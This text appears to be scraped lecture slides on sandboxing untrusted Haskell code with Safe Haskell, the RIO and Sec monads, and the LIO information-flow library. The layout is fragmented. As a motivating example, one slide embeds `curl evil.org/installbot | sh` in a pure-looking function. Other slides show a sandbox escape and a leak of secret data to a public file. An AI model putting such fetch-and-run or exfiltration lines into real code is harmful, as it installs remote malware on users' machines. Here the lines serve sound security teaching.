Download some random code with this function
toPigLatin :: L.ByteString -> L.ByteString
IO
), this would be safe to run
However, what if you have?
toPigLatin = unsafePerformIO $ do
system "curl evil.org/installbot | sh"
return "Ia owna ouya"
-XSafe
option enables Safe Haskell
System.IO.Unsafe
, so can’t call unsafePerformIO
Safe imports (enabled by -XUnsafe
) require an import to be safe
import safe PigLatin (toPigLatin)
toPigLatin
doesn’t call unsafe functionsBut wait… doesn’t toPigLatin
use ByteString?
head :: {- Lazy -} ByteString -> Word8
head Empty = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c
unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s
-XSafe
can only import safe modules
safe
keyword-XSafe
-XTrustworthy
Data.ByteString
can be compiled -XTrustworthy
Data.ByteString.Unsafe
moduleData.ByteString
’s exported symbols cannot be used unsafely, even if the module internally makes use of unsafe functions-XTrustworthy
-fpackage-trust
enables such per-package trust-trust
Pkg, -distrust
Pkg, -distrust-all-packages
ghc-pkg
RIO
Untrusted third party implements googleTranslate
function
googleTranslate :: Language -> L.ByteString -> RIO L.ByteString
RIO
monad, instead of IO
RIO
functions to access network, file systemCan use same names and port IO
code to RIO
by manipulating imports
RIO
monad{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where
-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io
instance Monad RIO where ...
-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = -- policy, e.g., only allow files in /tmp
readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
ok <- pathOK file
if ok then Prelude.readFile file else return ""
newtype
– RIO
is same as IO
at runtime
RIO
action into an IO
one with runRIO
RIO
action from IO
without UnsafeRIO
newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io
wget
cs240h.stanford.edu/RIO.hs
GHCi, version 7.8.2: http://www.haskell.org/ghc/ :? for help
...
*RIO> writeFile "/tmp/hello" "Hello, world\n"
*RIO> runRIO $ RIO.readFile "/tmp/hello"
"Hello, world\n"
*RIO> runRIO $ RIO.readFile "/etc/passwd"
""
*RIO>
runRIO
?newtype RIO a = UnsafeRIO { runRIO :: IO a }
newtype RIO a = UnsafeRIO (IO a)
instance Monad RIO where
return = UnsafeRIO . return
m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k
fail = UnsafeRIO . fail
runRIO
is tantamount to exporting UnsafeRIO
badRIO :: IO a -> RIO a
badRIO io = (fail "ha ha") { runRIO = io }
IO
actions from within RIO
:*Main> runRIO $ badRIO $ putStrLn "gotcha"
gotcha
RIO
restrictionsgoogleTranslate
function:
/sandbox
(allowed)Sec
monad [Russo], [Russo]H
represent secret (“high”) data, and L
public (“low”) data{-# LANGUAGE Unsafe #-}
Module Sec where
data L = Lpriv
data H = Hpriv
{-# LANGUAGE Trustworthy #-}
Module Sec.Safe (module Sec) where
import Sec (L, H, Sec, sec, open, up)
Sec
) represent the lattice (L ⊑ H) in the type systemclass Flows sl sh where
instance Flows L L
instance Flows L H
instance Flows H H
-- Notice no instance for Flows H L
Sec
monad (continued)Sec
Sec H
for high data, and Sec L
for low datanewtype Sec s a = MkSec a
instance Monad (Sec s) where
return x = MkSec x
MkSec a >>= k = k a
label :: a -> Sec s a
label x = MkSec x
unlabel :: Sec s a -> s -> a
unlabel (MkSec a) s = s `seq` a -- s (H or L) acts like key
seq
call, ensures “unlabel undefined secval
” will crashrelabel :: (Flows lin lout) => Sec lin a -> Sec lout a
relabel (MkSec val) = MkSec val
Sec
monadSec
monadsSec L
can be sent over networkSec H
can only be sent to GooglequeryGoogle :: Sec H L.ByteString -> IO (Sec H L.ByteString)
queryGoogle labeledQuery = do
let query = unlabel Hpriv labeledQuery -- code is privileged,
... -- so have Hpriv
Applicative
)IO
and Sec
What if instead we combined Sec
and IO
?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)
Safe to run this computation?
IO
and Sec
What if instead we combined Sec
and IO
?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)
Safe to run this computation? No!
untrustedTranslate secbs = do
bs <- secbs
return $ do writeFile "PublicFile" bs -- oops, pwned
{- query Google for translation -}
Let’s combine ideas of RIO
and Sec
in a SecIO
monad
newtype SecIO s a = MkSecIO (IO (Sec s a)) -- MkSecIO analogous to UnsafeRIO
instance Monad (SecIO s) where
return x = MkSecIO (return (return x))
MkSecIO m >>= k = MkSecIO $ do
MkSec a <- m
let MkSecIO m' = k a
m'
run :: SecIO s a -> IO (Sec s a)
run (MkSecIO m) = m
SecIO
monadAllow Sec
value to be accessed within SecIO
monad:
value :: Sec s a -> SecIO s a
value sa = MkSecIO (return sa)
Can return high values from SecIO L
by wrapping in Sec
:
plug :: Flows sl sh => SecIO sh a -> SecIO sl (Sec sh a)
SecIO H
computations within SecIO L
monad, the “price” is that the result is locked up in the Sec H
monadHow to represent files (similar for IORef
s, etc.)?
-- Must encode level of file in type, path of file in value
type File s = SecFilePath String
readFileSecIO :: File s -> SecIO s' (Sec s String)
writeFileSecIO :: File s -> String -> SecIO s ()
-- E.g., Can write to high files and returns high Int:
c1 :: SecIO H Int
-- Can write to low or (using plug) high files, returns low Int:
c3 :: SecIO L Int
-- Can write to low or high files, returns high Int:
c2 :: SecIO L (Sec H Int)
SecIO
translatorStill need privileged function
queryGoogle :: Sec H L.ByteString -> SecIO H L.ByteString
Now implement untrusted code as follows
untrustedTranslate :: Sec H L.ByteString -> SecIO H L.ByteString
queryGoogle
, but not send data to other placesSecIO
does most enforcement at compile timeFlows
…cabal install
lio
(or stack install lio
)
LIOState
with each thread:-- Note type parameter l just specifies the label type
data LIOState l = LIOState { lioLabel, lioClearance :: !l }
Now make RIO
-like monad that disallows raw IO
{-# LANGUAGE Unsafe #-}
newtype LIO l a = LIOTCB (IORef (LIOState l) -> IO a)
instance Monad (LIO l) where
return = LIOTCB . const . return
(LIOTCB ma) >>= k = LIOTCB $ \s -> do
a <- ma s
case k a of LIOTCB mb -> mb s
LIO
monadIdea: Trustworthy code wraps IO actions with label checks
Need some back doors into IO just for Trustworthy code:
{-# LANGUAGE Unsafe #-}
ioTCB :: IO a -> LIO l a -- back door for privileged code
ioTCB = LIOTCB . const -- to execute arbitrary IO actions
Also handy to have access to state:
getLIOStateTCB :: LIO l (LIOState l)
getLIOStateTCB = LIOTCB readIORef
putLIOStateTCB :: LIOState l -> LIO l ()
putLIOStateTCB s = LIOTCB $ \sp -> writeIORef sp $! s
modifyLIOStateTCB :: (LIOState l -> LIOState l) -> LIO l ()
modifyLIOStateTCB = getLIOStateTCB >>= putLIOStateTCB . f
Note important convention: symbols ending …TCB
never available to safe modules
Implementing labels as values is straight-forward:
Module LIO.Label
class (Eq l, Show l, Read l, Typeable l) => Label l where
lub :: l -> l -> l
glb :: l -> l -> l
infixl 5 `lub` `glb`
canFlowTo :: l -> l -> Bool
infix 4 `canFlowTo`
What about privileges?
class (Typeable p, Show p) => SpeaksFor p where
speaksFor :: p -> p -> Bool
`canFlowTo`
relationclass (Label l, SpeaksFor p) => PrivDesc l p where
downgradeP :: p -> l -> l -- compute "lowest" equivalent label
canFlowToP :: p -> l -> l -> Bool
canFlowToP p l1 l2 = downgradeP p l1 `canFlowTo` l2
Label
instancedata Level = Public | Secret | TopSecret
data Compartment = Nuclear | Crypto
data MilLabel = MilLabel { level :: Level
, compartments :: Set Compartment
}
wget
cs240h.stanford.edu/millattice.hs
Label instance
instance Label MilLabel where
lub a b = MilLabel (max (level a) (level b))
(Set.union (compartments a) (compartments b))
glb a b = MilLabel (min (level a) (level b))
(Set.intersection (compartments a) (compartments b))
canFlowTo a b = level a <= level b
&& compartments a `Set.isSubsetOf` compartments b
Some quickcheck instances
prop_irreflexive :: MilLabel -> MilLabel -> Bool
prop_irreflexive l1 l2 =
if l1 == l2 then l1 `canFlowTo` l2 && l2 `canFlowTo` l1
else not (l1 `canFlowTo` l2 && l2 `canFlowTo` l1)
prop_lub :: MilLabel -> MilLabel -> Bool
prop_lub l1 l2 = l1 `canFlowTo` l3 && l2 `canFlowTo` l3
where l3 = l1 `lub` l2
Before reading any data labeled newl
, adjust/check LIOState
taint :: Label l => l -> LIO l ()
taint newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
let l' = l `lub` newl
unless (l' `canFlowTo` c) $ labelError "taint" [newl]
modifyLIOStateTCB $ \s -> s { lioLabel = l' }
Before writing any data labeled newl
, adjust/check LIOState
guardWrite :: Label l => l -> LIO l ()
guardWrite newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
unless (canFlowTo l newl && canFlowTo newl c) $
labelError "guardWrite" [newl]
withContext "guardWrite" $ taint newl
Want to be able to name/examine privileges in any context
Embody the privileges by wrapping them with in protected newtype
newtype Priv a = PrivTCB a deriving (Show, Eq, Typeable)
instance Monoid p => Monoid (Priv p) where
mempty = PrivTCB mempty
mappend (PrivTCB m1) (PrivTCB m2) = PrivTCB $ m1 `mappend` m2
privDesc :: Priv a -> a
privDesc (PrivTCB a) = a
Priv
, can get a description with privDesc
, but not vice versaHow to create privileges in the first place?
IO
at start of program, before invoking LIO
privInit :: p -> IO (Priv p)
privInit p = return $ PrivTCB p
IO
code, game over anywayPriv
ObjectsP
variants taking privilege
taint
with ones to taintP
:taintP :: PrivDesc l p => Priv p -> l -> LIO l ()
taintP p newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
let l' = l `lub` downgradeP p newl
unless (l' `canFlowTo` c) $ labelErrorP "taintP" p [newl]
modifyLIOStateTCB $ \s -> s { lioLabel = l' }
Can also delegate privileges, wrap them in closures, or check them by “gating” closures
delegate :: SpeaksFor p => Priv p -> p -> Priv p
newtype Gate p a = GateTCB (p -> a) deriving Typeable
gate :: (p -> a) -> Gate p a
gate = GateTCB
callGate :: Gate p a -> Priv p -> a
callGate (GateTCB g) = g . privDesc
Many LIO abstractions just LIO ones plus a label
data LObj label object = LObjTCB !label !object deriving (Typeable)
blessTCB
helper makes constructing LIO functions easy
{-# LANGUAGE Trustworthy #-}
import LIO.TCB.LObj
type LMVar l a = LObj l (MVar a)
takeLMVar :: Label l => LMVar l a -> LIO l a
takeLMVar = blessTCB "takeLMVar" takeMVar
tryTakeLMVar :: Label l => LMVar l a -> LIO l (Maybe a)
tryTakeLMVar = blessTCB "tryTakeLMVar" tryTakeMVar
putLMVar :: Label l => LMVar l a -> a -> LIO l ()
putLMVar = blessTCB "putLMVar" putMVar
Represent labeled pure values with type wrapper
data Labeled l t = LabeledTCB l t
LIO l
monad (for Label l
) is like a state monad w. current label
Can label and unlabel pure values in LIO
monad:
label :: Label l => l -> a -> LIO l (Labeled l a)
unlabel :: (Label l) => Labeled l a -> LIO l a
unlabelP :: Priv l p => p -> Labeled l a -> LIO l a
label
requires value label to be above current labelunlabel
raises current label to LUB with removed Labeled
(unlabelP
uses privileges to raise label less)Launch computation, defer raising label until you need result
lFork :: Label l => l -> LIO l a -> LIO l (LabeledResult l a)
lWait :: Label l => LabeledResult l a -> LIO l a
LIO
featuresLIO
state